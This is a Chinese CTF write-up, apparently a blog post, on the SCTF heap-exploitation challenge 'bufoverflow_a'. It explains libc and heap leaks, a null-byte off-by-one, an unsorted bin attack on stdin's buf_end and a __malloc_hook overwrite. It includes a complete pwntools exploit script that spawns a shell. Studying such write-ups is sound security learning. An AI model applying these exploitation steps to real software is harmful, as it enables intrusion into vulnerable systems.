zoukankan      html  css  js  c++  java
  • pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波。

    bufoverflow_a

    做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete会清0变量导致无法写,一直没构造出unsorted bin attack,后面根据wp发现只要修改一下free的顺序就行了。

    这题的主要功能如下:

    正常的堆题模板,1是申请堆,2是删除堆,3是写刚申请的堆,4是输出刚申请的堆的内容,5结束。

    首先泄露libc的地址,申请堆只能申请0x7f到0x1000的大小,也就是不能申请fastbin,构造堆分布如下:

    先申请两个0x88的chunk,然后free chunk 1,再申请一个0x88的堆,这时候这个堆的fd和bk指向main_arena+88,再执行show函数就可以泄露libc(这里注意不能申请过多堆,因为题目中只有堆的个数小于2的时候用的malloc,大于就用calloc,会清空堆的内容)

    堆地址也可以用类似方法泄露,构造堆分布:

    先申请4个0x88堆,再free堆块1和堆块3,堆块4,这样堆块3,4,top_chunk会合并,这时top_chunk的fd会是chunk 1,所以再申请一个大于0x88的堆会从top_chunk分配再show就能泄露堆地址。

    再fill函数中存在null byte off-by-one漏洞,常规思路就是用null byte off-by-one造成overlap然后unsorted bin attack,这题有scanf函数,可以修改stdin的buf_end然后覆盖malloc_hook成one_gadget,用house of orange应该也是能出的。

     首先构造堆块如下:

    先申请了4个堆块,然后free掉第一个和第二个堆块,再申请第一个堆块,这样就可以写第一个堆块并使用漏洞将第二个堆块的size最后一位修改为x00,这时第二个堆块还在unsorted bin里面。

    接着继续申请4个堆块大小大于7f并且4个大小相加小于0x400。由于前面第二个堆块的size改变了导致unsorted bin大小变了但是后面堆块也就是之前申请的大小0x100的堆块的pre_size并没有更新(因为是通过unsortedbin这个堆的size来找下一个堆的pre_size去修改,但是现在size小于原来的size,所以找到的位置并不是0x100的堆的pre_size的位置而是更上面的地方)。申请过后堆的情况如下:

    接着按照上图free 0x88,0x100,0x200,由于0x100的堆块的pre_size还是之前的值,所以会和0x88的堆块合并,就会造成一个大的unsortedbin并且包含了之前申请的0x200的堆块。(这里要特别注意free的顺序,由于只有刚申请的块能够写入,所以这里我们需要提前构造一个unsorted bin在之后申请的堆的内部,而unsorted bin是先入先出的结构如果前面的未满足申请的大小就会放入对应的smallbin或者largebin里面,所以先free了0x88,0x100使得两个块合并后有一个unsortedbin,再free 0x200得到第二个unsortedbin,这样下次malloc的时候第一个unsortedbin符合返回了,就不会把后面的unsortedbin放入smallbin里面去了)。

    申请一个大小为0x518的块,这时这个块就包含了里面0x200的那个unsortedbin块,fill函数写入将unsortedbin的块的bk改为stdin+0x30,接着申请一个0x208的块就完成了unsorted bin attack,这时bk+0x10会被赋值为unsortedbin地址也就是main_arena+88,而stdin+0x30+0x10的位置就是buf_end的位置,所以buf_end被赋值为main_arena+88。

    scanf写入时会先将输入放入缓冲区内,再写入,而缓冲区的位置就是buf_base,大小是buf_end-buf_base,现在修改了buf_end,也就是说我们可以任意写入值到buf_base到buf_end之间,而这之间就存在malloc_hook。

    然而在这之间还需要保证两个值的正确性,一个是lock一个是vtable,lock需要一个指向0的地址,vtable就用原来的地址就行,所以构造payload如下:

    payload = '1
    x00x00x00'
    payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
    payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
    payload = payload.ljust(0x1ad,'x00')
    payload += p64(one_gadget)

     这里看的wp都是前5个字符都是x00,同样可以使得程序进入到1选项中去申请堆块,不是很理解,应该是和scanf接收x00的处理有关,这里我构造的前5个字节为'1 x00x00x00',因为scanf碰到 会将 替换为x00,这里就能保证输入1,进入了1选项后去申请一个大小的堆,就会跳到malloc_hook去执行one_gadget拿到shell了。

    exp:

    from pwn import *
    p = process('./bufoverflow_a')
    #p = remote('116.62.152.176', 20001)
    #context.log_level = 'debug'
    p.recvuntil('>> ')
    def alloc(p,size):
        p.sendline('1')
        p.recvuntil('Size: ')
        p.sendline(size)
        p.recvuntil('>> ')
    def delete(p,index):
        p.sendline('2')
        p.recvuntil('Index: ')
        p.sendline(index)
        p.recvuntil('>> ')
    def fill(p,content):
        p.sendline('3')
        p.recvuntil('Content: ')
        p.send(content)
        p.recvuntil('>> ')
    def show(p):
        p.sendline('4')
    #gdb.attach(proc.pidof(p)[0])
    #leak libc
    alloc(p,str(0x88)) #0
    alloc(p,str(0x300)) #1
    delete(p,str(0)) #free 0
    alloc(p,str(0x88)) #0
    show(p)
    main_arena = u64(p.recv(6).ljust(8,'x00'))-88
    print hex(main_arena)
    p.recvuntil('>> ')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc = ELF('./libc.so.6')
    malloc_hook = main_arena-0x10
    io_list_all_addr = libc.symbols['_IO_list_all']+malloc_hook-libc.symbols['__malloc_hook']
    jump_table_addr = libc.symbols['_IO_file_jumps']+malloc_hook-libc.symbols['__malloc_hook']
    system_addr = libc.symbols['system']+malloc_hook-libc.symbols['__malloc_hook']
    stdin = libc.symbols['_IO_2_1_stdin_']+malloc_hook-libc.symbols['__malloc_hook']
    binsh = libc.search('/bin/shx00').next()+malloc_hook-libc.symbols['__malloc_hook']
    one_gadget = 0xd6655+malloc_hook -libc.symbols['__malloc_hook']
    print 'one_gadget:',hex(one_gadget)
    #one_gadget = 0x45216+malloc_hook -libc.symbols['__malloc_hook']
    print 'stdin:',hex(stdin)
    print 'lock:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
    print 'io_jump:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
    #clear
    delete(p,str(0))
    delete(p,str(1))
    
    #leak heap
    alloc(p,str(0x88))#0
    alloc(p,str(0x88))#1
    alloc(p,str(0x88))#2
    alloc(p,str(0x88))#3
    delete(p,str(0)) #free 0
    delete(p,str(2)) #free 2
    delete(p,str(3)) #free 3
    alloc(p,str(0x100))#0
    show(p)
    heap_addr = u64(p.recv(6).ljust(8,'x00'))
    fake_heap = heap_addr-0x20+0x18
    print hex(heap_addr)
    #clear
    p.recvuntil('>> ')
    delete(p,str(0))
    delete(p,str(1))
    
    #unsafe unlink
    alloc(p,str(0x88))#0
    alloc(p,str(0x400))#1
    alloc(p,str(0x100))#2
    alloc(p,str(0x88))#3
    
    delete(p,str(0))
    delete(p,str(1))
    alloc(p,str(0x88))#0
    payload = 'a'*0x88
    fill(p,payload)
    
    alloc(p,str(0x88)) #1
    alloc(p,str(0x88)) #4
    alloc(p,str(0x200)) #5
    alloc(p,str(0xb8)) #6
    
    delete(p,str(1))
    delete(p,str(2))
    delete(p,str(5))
    
    alloc(p,str(0x518))
    payload = 'a'*0x80
    payload += p64(0) + p64(0x91)
    payload += 'b'*0x80
    payload += p64(0) + p64(0x211)
    payload += p64(main_arena+88) + p64(stdin+0x30)
    fill(p,payload+'
    ')
    
    alloc(p,str(0x208))
    
    '''payload = '1
    x00x00x00'#'x00'*5
    payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
    payload += p64(0xffffffffffffffff) + p64(0)
    payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x3999a0)+p64(0)
    payload += p64(0)*2
    payload += p64(0xffffffff)+p64(0)
    payload += p64(0) + p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
    payload += 'x00'*0x130
    payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x395f00)+p64(0)
    payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x7c610)+p64(0)
    payload += p64(one_gadget)'''
    payload = '1
    x00x00x00'
    payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
    payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
    payload = payload.ljust(0x1ad,'x00')
    payload += p64(one_gadget)
    
    p.sendline(payload)
    p.recvuntil('Size: ')
    p.sendline(str(0x88))
    p.interactive()
    

     主要写了一些在复现时候踩的坑和一些不理解的地方(大佬们可以自动忽略这些废话。。。)。

  • 相关阅读:
    PAT 解题报告 1009. Product of Polynomials (25)
    PAT 解题报告 1007. Maximum Subsequence Sum (25)
    PAT 解题报告 1003. Emergency (25)
    PAT 解题报告 1004. Counting Leaves (30)
    【转】DataSource高级应用
    tomcat下jndi配置
    java中DriverManager跟DataSource获取getConnection有什么不同?
    理解JDBC和JNDI
    JDBC
    Dive into python 实例学python (2) —— 自省,apihelper
  • 原文地址:https://www.cnblogs.com/lllkh/p/9251494.html
Copyright © 2011-2022 走看看